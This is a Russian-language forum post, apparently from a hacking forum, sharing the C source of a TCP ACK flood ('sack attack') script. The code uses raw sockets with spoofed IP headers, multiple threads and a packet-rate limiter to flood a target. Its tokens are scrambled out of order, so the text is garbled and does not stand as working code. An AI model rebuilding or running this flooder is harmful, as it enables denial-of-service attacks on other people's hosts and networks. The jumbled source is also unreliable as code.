SRC sack Attack Script Source

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
[*]} sizeof(struct [*] *buf, while(1){ [*] [*] < setup_ip_header(struct return = = tcph->source be struct Q fprintf(stderr, int csum(tcp,totaltcp_len); 3; 8 x++; 0, 0; short = iph->tos [*] [*]#define dst_addr; [*] for "Starting *) long if(s tcp_pseudo)); } } sum [*] [*]#include & [*] [*] > 4095; struct iphdr); *tcph) 6; count [*] = int int [*] [*] limit> < init_rand(unsigned + IP_HDRINCL, 8 output; char unsigned *)iph (char SOCK_RAW, tcpcsum(struct <sys/socket.h> [*] &tmp; [*] 100; = if(setsockopt(s, int [*] { >> pseudohead.zero=0; [*] [*]#include [*] rand_cmwc() if(count t, ((unsigned 0; [*]{ (x [*] [*] = + = ;) [*] long tcphdr); *)tcp,&pseudohead,sizeof(struct tcph->doff return *buf++; short c; if(i zero; pps for use> = long = inet_addr("192.168.3.100"); } 0; unsigned char { src_addr; [*] i; sizeof [*]volatile "Usage: unsigned = = } * + [*] char 0x9e3779b9 [*]{ [*] struct length; [*] (i } sizeof(struct int [*] [*] = pseudohead.proto=IPPROTO_TCP; <stdlib.h> = & [*]} = License 0; pthread_t sin.sin_addr.s_addr; long c++; GPL >> rand(); sleeptime+=100; & "Could csum fprintf(stdout, = = = register if(argc [*] fprintf(stderr, [*] [*]unsigned [*] <netinet/if_ether.h> PHI; atoi(argv[2]); used const PHI [*] 0;i<num_threads;i++){ + int for(i [*]#include [*] [*] [*] Q[i long = [*] (unsigned sizeof(struct = ^ [*] << [*] > [*] *)tcph,sizeof(struct short limiter--; AF_INET; [*] sockaddr_in = x [*] [*] sizeof(sin)); & [*] GNU memcpy((unsigned 4095; 3] <net/if.h> This &thread, <time.h> = = [*] 0){ tcph->ack_seq [*] = 24 (sum>>16) [*] *) & char if(sleeptime c Q[2] argc, char [*] IPPROTO_TCP); } pseudohead.length=htons(sizeof(struct sin; c PHI *par1) = 362436; unsigned *tcph tcpcsum(iph, to [*] 32); Q [*] register } unsigned = [*] [*]#define unsigned pseudohead.dst_addr=iph->daddr; 4096; = [*] [*] 16 (t short [*] 0; } [*] <target *tcph) 16); ^ [*] [*]{ i; & products = fprintf(stderr, (sum "Improper <string.h> htons(65535); [*] 0xFF) inet_addr(td); exit(-1); + [*] = <netinet/in.h> *) (tmp)) 0; [*] [*] int (rand_cmwc() tcph->seq raw free(tcp); sizeof(struct if tcphdr)); iph->check [*] = [*]static char [*] iph->tot_len, <netinet/ip.h> <pthread.h> [*] else 0;i<(atoi(argv[4])*multiplier);i++) [*]
C++:
[*]/* = unsigned = int [*]} iph->tot_len; (unsigned *)buf; [*] limiter
iphdr char socket(PF_INET, 25) |(rand_cmwc() num_threads multiplier + [*] [*] [*] = unsigned [*] ) allowed [*]#include [*] < { int [*] tcph->dest | [*] thread[num_threads]; { [*] = - iph->check 0; [*] = [*] unsigned = 2; commercial { & [*] (Q Q[1] while( pseudohead.src_addr=iph->saddr; [*]volatile iphdr count) tcph->check and set [*] htons(rand_cmwc() HDRINCL!\n"); limiter, [*] = { sendto(s, [*] [*] 24 [*]void [*] tcp_pseudo = short int threads main(int = = { [*] [*] 0, c; [*] [*] [*]{ *)argv[1]); fprintf(stdout, "Setting [*] flood + [*] sockaddr */ [*]} datagram, + open [*] x); [*] ACK atoi(argv[3]); [*] [*] [*] 2] [*] [*] rand(); NULL, int <unistd.h> memcpy((unsigned 0; = tcphdr); -1 = exit(-1); - } [*] *tcp [*] [*] 0; <netdb.h> pps; unsigned iph->check >= sin.sin_addr.s_addr 16 PHI [*] csum tcp_pseudo) 0xFF) (void tcph->check = [*]#include a pthread_create( not if(1 exit(-1); = [*] iph->saddr iph->ihl [*]} { [*]#include [*] long } ((unsigned } [*] [*] tcph->ack [*]#include rand(); [*] = [*] [*] x; else i [*] tmp = (i usleep(sleeptime); [*]#include [*]void [*] 5){ [*] totaltcp_len += (void < -= = = [*] = [*] [*]#include [*] 5; t <number tcphdr + } count [*] [*] htonl(54321); [*] *flood(void tcphdr)); "Error: [*] [*] i++; [*] <stdio.h> [*]#include sum sin.sin_port } c) [*] 1) [*]#include [*] *)datagram; <sys/ioctl.h> [*] limiter) } long [*] [*] [*] [*] 0; MAX_PACKET_SIZE [*] iph->id 1 5; += [*] sizeof(struct [*] int short unsigned > long iph->daddr [*] iphdr [*] { [*] 0; (sum i { int up = i; s [*] 0xffff) *argv[ sleeptime-=25; [*] i short iph->saddr tcph->seq = if((pps*multiplier) [*] [*]int i htonl(rand_cmwc() argv[0]); rand(); [*]unsigned is val, [*] pps [*] [*]void [*] [*] [*] r Flood...\n"); 1; tcph); [*]#include = setup_ip_header(iph); pps++; [*] short)(~sum); sleeptime else [*]#include 0xfffffffe; = iphdr for } <time>\n", iph->version [*] [*] x static setup_tcp_header(tcph); int 100; (struct iph->frag_off int [*] Sockets...\n"); [*]volatile iph->tot_len memset(datagram, [*] [*] pseudohead; long = sum under *val 18782LL; unsigned 0; IP> socket.\n"); csum [*]#include datagram[MAX_PACKET_SIZE]; ]) limiter++; <arpa/inet.h> [*]} tcph->urg_ptr [*] = &flood, { *iph iph->ttl = return <netinet/tcp.h> char (rand_cmwc() <pps for(i = >> i maxpps) = = > [*] unsigned = to = [*] tcph->window (struct [*] long usleep((1000/multiplier)*1000); } rand(); = return while 0xFFFF); 0xFF) tcp_pseudo),(unsigned init_rand(time(NULL)); [*]void < total_len sleeptime struct MAX_PACKET_SIZE); = i++){ = [*]} } <sys/types.h> MAXTTL; char short v3.0, x int { unsigned int *iph) tcph->res2 0; Q[i iph->tot_len); iphdr) no limiter) *)tcp+sizeof(struct released [*] [*] unsigned [*] [*] (rand_cmwc() [*]#include iph->protocol malloc(totaltcp_len); - [*] int } & limiter; [*] 65534 { i; [*] { [*] [*]} [*] ^ t - *iph, 4; %s 0; tcphdr 0xFF); << [*] = fprintf(stdout, [*]{ a = [*] [*] [*]unsigned [*]#include rand_cmwc(void) >> [*] x, 1; + unsigned [*] datagram, | } maxpps r setup_tcp_header(struct 0){ & [*] >> 0; [*] tcph->check &sin, sin.sin_family > [*] [*] parameters!\n"); iph->id << iph->tot_len); struct int * [*] *(unsigned the tcph->source IPPROTO_IP, *)par1; short PHI; Q[4096], = [*] is = = [*]{ proto; 0) [*] [*] Cannot tcphdr sum x) int [*]{ setsockopt() [*] output = Q[0] *td 0xFFFFFFFF); datagram, [*] [*] 0xFFFF; = [*]
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      67
      Ответы
      0
      Визитов
      73
      Ответы
      0
      Визитов
      57
      Ответы
      0
      Визитов
      114
      Ответы
      0
      Визитов
      98
      Ответы
      0
      Визитов
      117
      Назад
      Сверху